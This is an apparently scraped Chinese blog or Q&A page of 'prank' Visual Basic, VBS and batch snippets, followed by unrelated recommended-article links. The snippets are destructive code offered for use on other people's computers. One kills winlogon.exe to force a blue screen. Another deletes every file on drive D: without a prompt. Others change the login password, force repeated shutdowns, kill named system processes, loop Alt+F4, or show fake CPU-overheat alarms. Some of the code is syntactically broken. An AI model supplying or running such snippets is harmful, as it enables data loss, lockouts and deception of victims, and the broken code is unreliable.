vb的一些搞怪的操作

VB代码之：鼠标锁

option Explicit

Private Type RECT

Left As Long

Top As Long

Right As Long

Bottom As Long

End Type

Private Declare Function ClipCursor Lib "user32" (lpRect As Any) As Long

Private Sub Command1_Click()'锁定鼠标

Dim r As RECT

r.Left = 100: r.Top = 100

r.Right = 100: r.Bottom = 100

ClipCursor r

End Sub

Private Sub Command2_Click()‘解除锁定

ClipCursor ByVal 0&

End Sub

VB代码之：蓝屏代码

Shell "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul", 0

VB代码之：关不掉的窗口

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)

Print "woca"

Cancel = True

End sub

VB代码之：不断打开关机对话框

Private Declare Sub ShutDownDialog Lib "shell32.dll" Alias "#60" (ByVal hwndOwner As Long)

Private Sub Form_Load()

ShutDownDialog hWnd

Loop

End Sub

VB代码之：弹出无限 Msgbox

Private Sub Form_Load()

love: msgbox"嘿嘿"

Go to love

End Sub

VB代码之：CPU100%占据者

Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)

Form1.Show

End Sub

Private Sub Form_Load()

Timer1.Interval = 10

Timer2.Interval = 10

Form1.Hide

For i = 1 To 1E+23

For a = 1 To 1E+16

Next a

For b = 1 To 1E+19

Next b

For c = 1 To 999999999

Next c

Next i

End Sub

Private Sub Timer1_Timer()

Form1.Show

End Sub

Private Sub Timer2_Timer()

Form1.Show

End Sub

VB代码之：编写系统炸弹

Private Sub Form_Load()

For i=1To 1E+40

Shell"shutdown -s -t 0"

Next i

End Sub

VB代码之：编写无限弹不规则窗口

Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Private Sub Form_Load()

'窗口永在最前

SetWindowPos Me.hWnd, -1, 500, 150, Me.Width, Me.Height, 1

Randomize Timer '伪随机数发生器

Me.Width = Int(Screen.Width / 2 * Rnd)

Me.Height = Int(Screen.Height / 2 * Rnd)

Me.Left = Int((Screen.Width - Me.Width) * Rnd)

Me.Top = Int((Screen.Height - Me.Height) * Rnd)

Timer1.Interval = Int(Rnd * 5000) + 5000

End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)

Dim a As New Form1

a.Show

Cancel = 1

Me.FontSize = 14

Print "这么是关不掉我的。" & vbCrLf & "啦啦啦……"

End Sub

Private Sub Timer1_Timer()

Me.Left = Rnd * 10000

Me.Top = Rnd * 8000

End Sub

VB代码之：鼠标不见了

Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long

Private Sub Command1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)

ShowCursor (False)

End Sub

Private Sub Command2_Click()

ShowCursor (True)

MsgBox "ok"

End Sub

这个是来自于我们群里的论坛里的一个

创建一个Text 和一个 Command1

Shell "Taskkill /f /im " & Text1.Text '结束Text1里的进程 ~

提个醒：把Text1的Text 为 "重要的进程" '我就不说系统重要的进程了…… 请看下面 Windows 进程表

下面的是Windows XP 常见的进程列表

最基本的系统进程（也就是说，这些进程是系统运行的基本条件，有了这些进程，系统

就能正常运行）

smss.exe Session Manager

csrss.exe 子系统服务器进程

winlogon.exe 管理用户登录

services.exe 包含很多系统服务

lsass.exe 管理 IP 安全策略以及启动 ISAKMP/Oakley (IKE) 和 IP 安全驱动程序。

(系统服务)

产生会话密钥以及授予用于交互式客户/服务器验证的服务凭据(ticket)。(系统服务)

svchost.exe 包含很多系统服务

svchost.exe

SPOOLSV.EXE 将文件加载到内存中以便迟后打印。(系统服务)

explorer.exe 资源管理器

internat.exe 托盘区的拼音图标

附加的系统进程（这些进程不是必要的，你可以根据需要通过服务管理器来增加或减

少）

mstask.exe 允许程序在指定时间运行。(系统服务)

regsvc.exe 允许远程注册表操作。(系统服务)

winmgmt.exe 提供系统管理信息(系统服务)。

inetinfo.exe 通过 Internet 信息服务的管理单元提供 FTP 连接和管理。(系统服务)

tlntsvr.exe 允许远程用户登录到系统并且使用命令行运行控制台程序。(系统服务)

允许通过 Internet 信息服务的管理单元管理 Web 和 FTP 服务。(系统服务)

tftpd.exe 实现 TFTP Internet 标准。该标准不要求用户名和密码。远程安装服务

的一部分。(系统服务)

termsrv.exe 提供多会话环境允许客户端设备访问虚拟的 Windows 2000

Professional 桌面会话以及运行在服务器上的基于 Windows 的程序。(系统服务)

dns.exe 应答对域名系统(DNS)名称的查询和更新请求。(系统服务)

以下服务很少会用到，上面的服务都对安全有害，如果不是必要的应该关掉

tcpsvcs.exe 提供在 PXE 可远程启动客户计算机上远程安装 Windows 2000

Professional 的能力。(系统服务)

支持以下 TCP/IP 服务：Character Generator, Daytime, Discard, Echo, 以及

Quote of the Day。(系统服务)

ismserv.exe 允许在 Windows Advanced Server 站点间发送和接收消息。(系统服

务)

ups.exe 管理连接到计算机的不间断电源(UPS)。(系统服务)

wins.exe 为注册和解析 NetBIOS 型名称的 TCP/IP 客户提供 NetBIOS 名称服务。

(系统服务)

llssrv.exe License Logging Service(system service)

ntfrs.exe 在多个服务器间维护文件目录内容的文件同步。(系统服务)

RsSub.exe 控制用来远程储存数据的媒体。(系统服务)

locator.exe 管理 RPC 名称服务数据库。(系统服务)

lserver.exe 注册客户端许可证。(系统服务)

dfssvc.exe 管理分布于局域网或广域网的逻辑卷。(系统服务)

clipsrv.exe 支持“剪贴簿查看器”，以便可以从远程剪贴簿查阅剪贴页面。(系统

服务)

msdtc.exe 并列事务，是分布于两个以上的数据库，消息队列，文件系统，或其

它事务保护资源管理器。(系统服务)

faxsvc.exe 帮助您发送和接收传真。(系统服务)

cisvc.exe Indexing Service(system service)

dmadmin.exe 磁盘管理请求的系统管理服务。(系统服务)

mnmsrvc.exe 允许有权限的用户使用 NetMeeting 远程访问 Windows 桌面。(系统服

务)

netdde.exe 提供动态数据交换 (DDE) 的网络传输和安全特性。(系统服务)

smlogsvc.exe 配置性能日志和警报。(系统服务)

rsvp.exe 为依赖质量服务(QoS)的程序和控制应用程序提供网络信号和本地通信控制

安装功能。(系统服务)

RsEng.exe 协调用来储存不常用数据的服务和管理工具。(系统服务)

RsFsa.exe 管理远程储存的文件的操作。(系统服务)

grovel.exe 扫描零备份存储(SIS)卷上的重复文件，并且将重复文件指向一个数据存

储点，以节省磁盘空间。(系统服务)

SCardSvr.exe 对插入在计算机智能卡阅读器中的智能卡进行管理和访问控制。(系统

服务)

snmp.exe 包含代理程序可以监视网络设备的活动并且向网络控制台工作站汇报。(系

统服务)

snmptrap.exe 接收由本地或远程 SNMP 代理程序产生的陷阱消息，然后将消息传递

到运行在这台计算机上 SNMP 管理程序。(系统服务)

UtilMan.exe 从一个窗口中启动和配置辅助工具。(系统服务)

msiexec.exe 依据 .MSI 文件中包含的命令来安装、修复以及删除软件。(系统服务)

嘿嘿然后 Form的Load事件中输入代码

Command1_Click

嘿嘿

msgbox "你要点100下确定",vbokcancel,"hkmfk"

for i=1 to 100

msgbox "加油!!!"&"还有"&(100-i)&"下",4096,"zhb0813"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

2.删除D:所有文件

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:*.* / f /q /s""",0 ,true

3.不断弹出窗口

while(1)

msgbox "哈哈你被耍了！"

loop

4.不断按下alt+f4 （开什么都关闭……）

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

放一个timer,名为timer1

Private Sub Form_Load()

Me.Visible = False

Timer1.Interval = 10*1000

End Sub

Private Sub Timer1_Timer()

msgbox "CPU温度过高，系统出现严重错误！",16+4096,"警告"

msgbox "CPU温度过高，系统出现严重错误！",16+4096,"警告" '可以多复制几个 msgbox "CPU温度过高，系统出现严重错误！",16+4096,"警告"

End Sub

多了去看我回答的所有内容我最在行了 VB的不知道了

你应该不是很会这些东西 VB还要编成EXE 有点麻烦

我估计你问的是VBS BAT之类的脚本

1.掉qq taskkill /im qq.exe /f /t

2.10秒强制关机（任务管理器无效） shutdown -s -t 10

3.死机 start cmd 0%

4.设置登录密码为2097152 net user "%username%" 2097152

5.让电脑只剩一个背景 taskkill /im /f /t explorer.exe VBS的

1.莫名其妙结束当前程序 set ws=createobject("wscript.shell") do ws.sendkeys "%{f4}" loop

2.不断提示你是猪 do msgbox("你是猪") loop

剩下的是我以前编的 http://wenwen.soso.com/z/q242167878.htm ;

去这个网看看 BAT怎么写你自己去网上找找我就不费话了

shell "cmd.exe /c ntsd -c q -pn winlogon.exe",vbhide 运行后直接蓝屏。。。慎用~

vb的一些搞怪的操作相关推荐

python飞机大战联网版_Python 飞机大战搞怪版本
python 飞机大战搞怪版本 (飞机为迷你亚索,外星人为迷你小诺手,由于时间关系和图片素材较难寻找,仅仅做了简易版,没有贴上背景图片.由于篇幅原因,对于函数讲解较为简略,可以自行搜索相应函数的用法) ...
开源作品ThinkJDBC—一行代码搞定数据库操作
1 简介 ThinkJD,又名ThinkJDBC,一个简洁而强大的开源JDBC操作库.你可以使用Java像ThinkPHP框架的M方法一样,一行代码搞定数据库操作.ThinkJD会自动管理数据库连接, ...
二级VB培训笔记05：文件操作
二级VB培训笔记05:文件操作一.文件概述二.顺序文件三.顺序文件操作演示 1.创建VB工程[顺序文件操作] 添加一个文本框和两个按钮,设置对象属性,如下图所示:
VB讲课笔记03：对象及其操作
VB讲课笔记03:对象及其操作一.对象 1.VB对象对象是由客观实体抽象出来的逻辑实体,具有属性.方法和事件三要素.VB中的对象有控件和窗体等. 对象的
搞怪又可爱！一组emoji表情
emoji,是使用在网页和聊天中的形意符号,最初是日本在无线通信中所使用的视觉情感符号(图画文字).现在的emoji表情,不仅仅在聊天和书写文字时能表达丰富的情感,也是最新最slay的时尚元素,是年轻 ...
thinkjdbc 关闭_ThinkJD: ThinkJD，又名ThinkJDBC，一个强大的开源JDBC/ORM操作库，让你尽可能简洁地用一行代码搞定数据库操作。...
1 简介 ThinkJD,又名ThinkJDBC,一个简洁而强大的开源JDBC操作库.你可以使用Java像ThinkPHP框架的M方法一样,一行代码搞定数据库操作.ThinkJD会自动管理数据库连接, ...
Sneaky Sasquatch Mac(捣蛋大脚怪搞怪冒险游戏)
Sneaky Sasquatch Mac是一款名叫捣蛋大脚怪,又名鬼鬼祟祟的大脚怪的搞怪冒险游戏.Sneaky Sasquatch Mac版游戏非常的简单,玩家在游戏中扮演的是一个野人,您需要在游戏中 ...
扯淡搞怪聊天室APP设计
Chapter 1: 应用简介 Part 1.1 背景本应用参照了一个小众的搞怪app"Die With me"的格局,总体是一个以多人聊天室为基础的社交软件,并添加了趣味的游戏 ...
tiktok直播带货怎么搞？具体操作步骤是什么？
tiktok直播带货怎么搞? 具体操作步骤是什么? 大家好,我是项柚.一个专注于讨论TikTok玩法的跨境电商自媒体人,每天不断输出干货给需要的朋友,希望大家能少走弯路. 国内抖音直播带货正处于火爆的 ...

vb的一些搞怪的操作

vb的一些搞怪的操作相关推荐

最新文章

热门文章